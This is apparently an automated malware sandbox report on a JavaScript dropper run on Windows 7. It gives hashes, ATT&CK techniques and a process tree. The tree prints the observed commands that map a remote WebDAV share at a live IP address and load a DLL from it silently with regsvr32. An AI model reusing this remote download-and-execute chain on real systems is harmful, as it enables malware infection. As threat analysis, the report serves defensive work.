35d2889af3a9be098a0b7cbfc7c980a02107f296c7f1198ff611550176a47269

Analysis

max time kernel
120s
max time network
122s
platform
windows7_x64
resource
win7-20240704-en
resource tags

arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
submitted
10/07/2024, 01:20

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General

Target

35d2889af3a9be098a0b7cbfc7c980a02107f296c7f1198ff611550176a47269.js
Size

5KB
MD5

bb7d06e250f185a819e9b7c40ae391ce
SHA1

7ba3f83334a174068ae2a91499a2b565396c208c
SHA256

35d2889af3a9be098a0b7cbfc7c980a02107f296c7f1198ff611550176a47269
SHA512

5be433eb1ae7b258485eb6ade575b59ef96bc23e1a21bc95248d861b9413ef24b69e3b6ebfe2ebf659f7caba8b8d3d183da5a383f7319e773bb0bbcfe31b45d4
SSDEEP

96:ZpvV2Cc0M0uCTL7A5jtvuchFotgpcAxoQRAjxXCkeJ:rvV2D0M0uCOZuUlTRxkw

Score

3^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
2628	regsvr32.exe

Suspicious use of WriteProcessMemory 11 IoCs

description	pid	Process	procid_target
PID 1692 wrote to memory of 2392	1692	wscript.exe	30
PID 1692 wrote to memory of 2392	1692	wscript.exe	30
PID 1692 wrote to memory of 2392	1692	wscript.exe	30
PID 2392 wrote to memory of 1492	2392	cmd.exe	33
PID 2392 wrote to memory of 1492	2392	cmd.exe	33
PID 2392 wrote to memory of 1492	2392	cmd.exe	33
PID 2392 wrote to memory of 2628	2392	cmd.exe	34
PID 2392 wrote to memory of 2628	2392	cmd.exe	34
PID 2392 wrote to memory of 2628	2392	cmd.exe	34
PID 2392 wrote to memory of 2628	2392	cmd.exe	34
PID 2392 wrote to memory of 2628	2392	cmd.exe	34

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\35d2889af3a9be098a0b7cbfc7c980a02107f296c7f1198ff611550176a47269.js
1⤵
- Suspicious use of WriteProcessMemory
PID:1692
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /k copy "C:\Users\Admin\AppData\Local\Temp\35d2889af3a9be098a0b7cbfc7c980a02107f296c7f1198ff611550176a47269.js" "C:\Users\Admin\\ttsmrg.bat" && "C:\Users\Admin\\ttsmrg.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2392
- - C:\Windows\system32\net.exe
    net use \\45.9.74.13@8888\DavWWWRoot\
    3⤵
    PID:1492
- - C:\Windows\system32\regsvr32.exe
    regsvr32 /s \\45.9.74.13@8888\DavWWWRoot\593.dll
    3⤵
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:2628

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\ttsmrg.bat

Filesize
5KB

MD5
bb7d06e250f185a819e9b7c40ae391ce

SHA1
7ba3f83334a174068ae2a91499a2b565396c208c

SHA256
35d2889af3a9be098a0b7cbfc7c980a02107f296c7f1198ff611550176a47269

SHA512
5be433eb1ae7b258485eb6ade575b59ef96bc23e1a21bc95248d861b9413ef24b69e3b6ebfe2ebf659f7caba8b8d3d183da5a383f7319e773bb0bbcfe31b45d4

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